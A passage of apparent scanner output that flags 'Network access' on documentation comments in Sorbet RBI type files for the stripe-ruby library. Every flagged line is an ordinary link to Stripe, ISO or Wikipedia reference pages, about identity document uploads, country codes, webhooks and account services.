    class PrimaryVerification < ::Stripe::StripeObject                 class FrontBack < ::Stripe::StripeObject                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif
  • Network accessline 2559
    class FrontBack < ::Stripe::StripeObject                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'ident
  • Network accessline 2560
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 2561
    sig { returns(T.nilable(String)) }                   def back; end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the upl
  • Network accessline 2562
    def back; end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploade
  • Network accessline 2563
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 2571
    end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 2572
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.                 sig { returns(FrontBack) }
  • Network accessline 2573
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 2585
    end               class ProofOfAddress < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2586
    class ProofOfAddress < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig 
  • Network accessline 2587
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2599
    end               class ProofOfRegistration < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement
  • Network accessline 2600
    class ProofOfRegistration < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                
  • Network accessline 2601
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2613
    end               class ProofOfUltimateBeneficialOwnership < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `acco
  • Network accessline 2614
    class ProofOfUltimateBeneficialOwnership < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. 
  • Network accessline 2615
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2690
    class MonthlyEstimatedRevenue < ::Stripe::StripeObject               class Amount < ::Stripe::StripeObject                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/curr
  • Network accessline 2691
    class Amount < ::Stripe::StripeObject                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).                 sig { returns(T.nilable(Integer)
  • Network accessline 2692
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 2693
    sig { returns(T.nilable(Integer)) }                 def value; end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cu
  • Network accessline 2694
    def value; end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).                 sig { returns(T.nilable(S
  • Network accessline 2695
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2718
    sig { returns(T.nilable(String)) }                 def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2719
    def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 2720
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2747
    sig { returns(T.nilable(String)) }                 def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2748
    def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 2749
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2874
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2875
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 2876
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2954
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2955
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 2956
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2998
    class Documents < ::Stripe::StripeObject               class CompanyAuthorization < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a
  • Network accessline 2999
    class CompanyAuthorization < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               
  • Network accessline 3000
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 3012
    end               class Passport < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 3013
    class Passport < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig { retu
  • Network accessline 3014
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 3027
    class PrimaryVerification < ::Stripe::StripeObject                 class FrontBack < ::Stripe::StripeObject                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif
  • Network accessline 3028
    class FrontBack < ::Stripe::StripeObject                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'ident
  • Network accessline 3029
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 3030
    sig { returns(T.nilable(String)) }                   def back; end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the upl
  • Network accessline 3031
    def back; end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploade
  • Network accessline 3032
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 3040
    end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 3041
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.                 sig { returns(FrontBack) }
  • Network accessline 3042
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 3055
    class SecondaryVerification < ::Stripe::StripeObject                 class FrontBack < ::Stripe::StripeObject                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver
  • Network accessline 3056
    class FrontBack < ::Stripe::StripeObject                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'ident
  • Network accessline 3057
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 3058
    sig { returns(T.nilable(String)) }                   def back; end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the upl
  • Network accessline 3059
    def back; end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploade
  • Network accessline 3060
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 3068
    end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 3069
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.                 sig { returns(FrontBack) }
  • Network accessline 3070
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 3082
    end               class Visa < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 3083
    class Visa < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig { returns(
  • Network accessline 3084
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 3171
    sig { returns(T.nilable(String)) }                 def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3172
    def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 3173
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3200
    sig { returns(T.nilable(String)) }                 def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3201
    def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 3202
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3322
    sig { returns(T.nilable(T::Hash[String, String])) }             def metadata; end             # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2
  • Network accessline 3323
    def metadata; end             # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 3324
    # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3373
    sig { returns(T.nilable(BusinessDetails)) }           def business_details; end           # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.
  • Network accessline 3374
    def business_details; end           # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.  
  • Network accessline 3375
    # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/core/account_person.rbi

  • Network accessline 12
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 13
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 14
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 92
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 93
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 94
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 136
    class Documents < ::Stripe::StripeObject           class CompanyAuthorization < ::Stripe::StripeObject             # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose
  • Network accessline 137
    class CompanyAuthorization < ::Stripe::StripeObject             # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.             sig { 
  • Network accessline 138
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 150
    end           class Passport < ::Stripe::StripeObject             # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 151
    class Passport < ::Stripe::StripeObject             # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.             sig { returns(T::A
  • Network accessline 152
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 165
    class PrimaryVerification < ::Stripe::StripeObject             class FrontBack < ::Stripe::StripeObject               # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification 
  • Network accessline 166
    class FrontBack < ::Stripe::StripeObject               # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_
  • Network accessline 167
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 168
    sig { returns(T.nilable(String)) }               def back; end               # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded fi
  • Network accessline 169
    def back; end               # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded fi
  • Network accessline 170
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 178
    end             end             # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 179
    end             # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.             sig { returns(FrontBack) }
  • Network accessline 180
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 193
    class SecondaryVerification < ::Stripe::StripeObject             class FrontBack < ::Stripe::StripeObject               # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verificatio
  • Network accessline 194
    class FrontBack < ::Stripe::StripeObject               # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_
  • Network accessline 195
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 196
    sig { returns(T.nilable(String)) }               def back; end               # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded fi
  • Network accessline 197
    def back; end               # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded fi
  • Network accessline 198
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 206
    end             end             # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 207
    end             # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.             sig { returns(FrontBack) }
  • Network accessline 208
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 220
    end           class Visa < ::Stripe::StripeObject             # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 221
    class Visa < ::Stripe::StripeObject             # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.             sig { returns(T::Array
  • Network accessline 222
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 309
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 310
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 311
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 338
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 339
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 340
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 460
    sig { returns(T.nilable(T::Hash[String, String])) }         def metadata; end         # The countries where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 461
    def metadata; end         # The countries where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 462
    # The countries where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/core/event.rbi

  • Network accessline 6
    module V2     module Core       # Events are generated to keep you informed of activity in your business account. APIs in the /v2 namespace generate [thin events](https://docs.stripe.com/event-destinations#benefits-of-thin-events) which hav
  • Network accessline 7
    module Core       # Events are generated to keep you informed of activity in your business account. APIs in the /v2 namespace generate [thin events](https://docs.stripe.com/event-destinations#benefits-of-thin-events) which have small, unver
  • Network accessline 8
    # Events are generated to keep you informed of activity in your business account. APIs in the /v2 namespace generate [thin events](https://docs.stripe.com/event-destinations#benefits-of-thin-events) which have small, unversioned payloads th

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/core/event_destination.rbi

  • Network accessline 6
    module V2     module Core       # Set up an event destination to receive events from Stripe across multiple destination types, including [webhook endpoints](https://docs.stripe.com/webhooks) and [Amazon EventBridge](https://docs.stripe.com/
  • Network accessline 7
    module Core       # Set up an event destination to receive events from Stripe across multiple destination types, including [webhook endpoints](https://docs.stripe.com/webhooks) and [Amazon EventBridge](https://docs.stripe.com/event-destinat
  • Network accessline 8
    # Set up an event destination to receive events from Stripe across multiple destination types, including [webhook endpoints](https://docs.stripe.com/webhooks) and [Amazon EventBridge](https://docs.stripe.com/event-destinations/eventbridge).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/webhook_endpoint.rbi

  • Network accessline 4
    # typed: true module Stripe   # You can configure [webhook endpoints](https://docs.stripe.com/webhooks/) via the API to be
  • Network accessline 5
    module Stripe   # You can configure [webhook endpoints](https://docs.stripe.com/webhooks/) via the API to be   # notified about events that happen in your Stripe account or connected
  • Network accessline 6
    # You can configure [webhook endpoints](https://docs.stripe.com/webhooks/) via the API to be
  • Network accessline 8
    # accounts.   #   # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints.
  • Network accessline 9
    #   # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints.   #
  • Network accessline 10
    # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints.
  • Network accessline 11
    #   # Related guide: [Setting up webhooks](https://docs.stripe.com/webhooks/configure)   class WebhookEndpoint < APIResource
  • Network accessline 12
    # Related guide: [Setting up webhooks](https://docs.stripe.com/webhooks/configure)
  • Network accessline 33
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 34
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 35
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 39
    sig { returns(String) }     def object; end     # The endpoint's secret, used to generate [webhook signatures](https://docs.stripe.com/webhooks/signatures). Only returned at creation.
  • Network accessline 40
    def object; end     # The endpoint's secret, used to generate [webhook signatures](https://docs.stripe.com/webhooks/signatures). Only returned at creation.     sig { returns(T.nilable(String)) }
  • Network accessline 41
    # The endpoint's secret, used to generate [webhook signatures](https://docs.stripe.com/webhooks/signatures). Only returned at creation.
  • Network accessline 51
    sig { returns(T.nilable(T::Boolean)) }     def deleted; end     # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint tha
  • Network accessline 52
    def deleted; end     # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events f
  • Network accessline 53
    # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events from all connected acc
  • Network accessline 59
    # You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.
  • Network accessline 65
    # You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/account_external_account_service.rbi

  • Network accessline 33
    # details are not editable by design.     #     # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/a
  • Network accessline 34
    #     # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/api/accounts/object#account_object-controll
  • Network accessline 35
    # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/api/accounts/object#account_object-controller-req

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/account_login_link_service.rbi

  • Network accessline 7
    # Creates a login link for a connected account to access the Express Dashboard.     #     # You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected t
  • Network accessline 8
    #     # You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected to your platform.     sig {
  • Network accessline 9
    # You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected to your platform.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/account_service.rbi

  • Network accessline 9
    attr_reader :login_links     attr_reader :persons     # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users.
  • Network accessline 10
    attr_reader :persons     # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users.     # To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/application
  • Network accessline 11
    # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users.
  • Network accessline 12
    # To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/settings).
  • Network accessline 13
    #     # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when     # creating the account. Connect Onboarding won't ask fo
  • Network accessline 14
    # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when
  • Network accessline 22
    # With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage.
  • Network accessline 24
    # Test-mode accounts can be deleted at any time.     #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe
  • Network accessline 25
    #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc
  • Network accessline 26
    # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht
  • Network accessline 27
    #     # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.     sig {
  • Network accessline 28
    # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.
  • Network accessline 34
    # Returns a list of accounts connected to your platform via [Connect](https://docs.stripe.com/docs/connect). If you're not a platform, the list is empty.
  • Network accessline 40
    # With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious.
  • Network accessline 60
    # Updates a [connected account](https://docs.stripe.com/connect/accounts) by setting the values of the parameters passed. Any parameters not provided are
  • Network accessline 61
    # left unchanged.     #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 62
    #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)     # is application, which includes Custom accounts, you can update any informatio
  • Network accessline 63
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 64
    # is application, which includes Custom accounts, you can update any information on the account.     #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requir
  • Network accessline 65
    #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)     # is stripe, which includes Standard and Express accounts, you can update all i
  • Network accessline 66
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 67
    # is stripe, which includes Standard and Express accounts, you can update all information until you create     # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connec
  • Network accessline 68
    # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connect onboarding,
  • Network accessline 69
    # after which some properties can no longer be updated.     #     # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our
  • Network accessline 70
    #     # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our     # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts
  • Network accessline 71
    # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our
  • Network accessline 72
    # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/balance_service.rbi

  • Network accessline 6
    class BalanceService < StripeService     # Retrieves the current account balance, based on the authentication that was used to make the request.     #  For a sample request, see [Accounting for negative balances](https://docs.stripe.com/doc
  • Network accessline 7
    # Retrieves the current account balance, based on the authentication that was used to make the request.     #  For a sample request, see [Accounting for negative balances](https://docs.stripe.com/docs/connect/account-balances#accounting-for
  • Network accessline 8
    #  For a sample request, see [Accounting for negative balances](https://docs.stripe.com/docs/connect/account-balances#accounting-for-negative-balances).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/balance_settings_service.rbi

  • Network accessline 6
